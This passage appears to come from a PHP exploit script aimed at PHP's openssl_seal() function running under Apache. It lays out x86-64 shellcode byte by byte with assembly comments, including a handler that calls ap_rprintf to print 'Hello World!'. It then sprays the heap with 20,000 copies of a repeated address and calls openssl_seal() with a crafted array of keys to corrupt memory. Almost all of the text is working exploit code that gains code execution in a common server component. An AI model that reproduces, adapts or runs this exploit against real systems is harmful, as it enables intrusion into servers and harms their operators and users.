"\x48\x8b\x45\xf8" . // mov -0x8(%rbp),%rax "\x48\x8d\x50\x01" . // lea 0x1(%rax),%rdx "\x48\x89\x55\xf8" . // mov %rdx,-0x8(%rbp) "\x48\x8b\x55\xd0" . // mov -0x30(%rbp),%rdx "\x48\x8d\x4a\x01" . // lea 0x1(%rdx),%rcx "\x48\x89\x4d\xd0" . // mov %rcx,-0x30(%rbp) "\x0f\xb6\x12" . // movzbl (%rdx),%edx "\x88\x10" . // mov %dl,(%rax) "\x48\x8b\x45\xc8" . // mov -0x38(%rbp),%rax "\x48\x8d\x50\xff" . // lea -0x1(%rax),%rdx "\x48\x89\x55\xc8" . // mov %rdx,-0x38(%rbp) "\x48\x85\xc0" . // test %rax,%rax "\x75\xd2" . // jne 0x400620 "\x48\x8b\x7d\xf0" . // mov -0x10(%rbp),%rdi "\x48\x8b\x45\xd8" . // mov -0x28(%rbp),%rax "\xb9\xf6\xff\xff\xff" . // mov $0xfffffff6,%ecx "\xba\x00\x00\x00\x00" . // mov $0x0,%edx "\xbe\x00\x00\x00\x00" . // mov $0x0,%esi "\xff\xd0" . // callq *%rax "\xc9" . // leaveq "\xc3"; // retq fill_buffer(0x2000, $shellcode_stage2); $handler = "\x55" . // push %rbp "\x48\x89\xe5" . // mov %rsp,%rbp "\x48\x83\xec\x30" . // sub $0x30,%rsp "\x48\x89\x7d\xd8" . // mov %rdi,-0x28(%rbp) "\x48\xb8" . pack('P', $ap_rprintf_addr) . // movabs $0xdeadbabefeedcafe,%rax "\x48\x89\x45\xf8" . // mov %rax,-0x8(%rbp) "\x48\xb8" . "Hello Wo" . // movabs CONTENT,%rax "\x48\x89\x45\xe0" . // mov %rax,-0x20(%rbp) "\x48\xb8" . "rld!\n\x00\x00\x00" . // movabs CONTENT,%rax "\x48\x89\x45\xe8" . // mov %rax,-0x20(%rbp) "\x48\x8d\x4d\xe0" . // lea -0x20(%rbp),%rcx "\x48\x8b\x55\xd8" . // mov -0x28(%rbp),%rdx "\x48\x8b\x45\xf8" . // mov -0x8(%rbp),%rax "\x48\x89\xce" . // mov %rcx,%rsi "\x48\x89\xd7" . // mov %rdx,%rdi "\xff\xd0" . // callq *%rax "\xb8\x00\x00\x00\x00" . // mov $0x0,%eax "\xc9" . // leaveq "\xc3"; // retq fill_buffer(0x3000, $handler); $addr = pack('P', $addr); $memory = str_repeat($addr,321); $pem = " -----BEGIN PUBLIC KEY----- MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ== -----END PUBLIC KEY-----"; /* Random RSA key */ $a = array_fill(0,321,0); /* place valid keys at the beginning */ $k = openssl_pkey_get_public($pem); $a[0] = $k; $a[1] = $k; $a[2] = $k; echo "[+] spraying heap\n"; $x = array(); for ($i = 0 ; $i < 20000 ; $i++) { $x[$i] = str_repeat($memory, 1); } for ($i = 0 ; $i < 20000 ; $i++) { unset($x[$i]); } unset($x); echo "[+] triggering openssl_seal()...\n"; @openssl_seal($_, $_, $_, $a); echo "[-] failed ;[\n";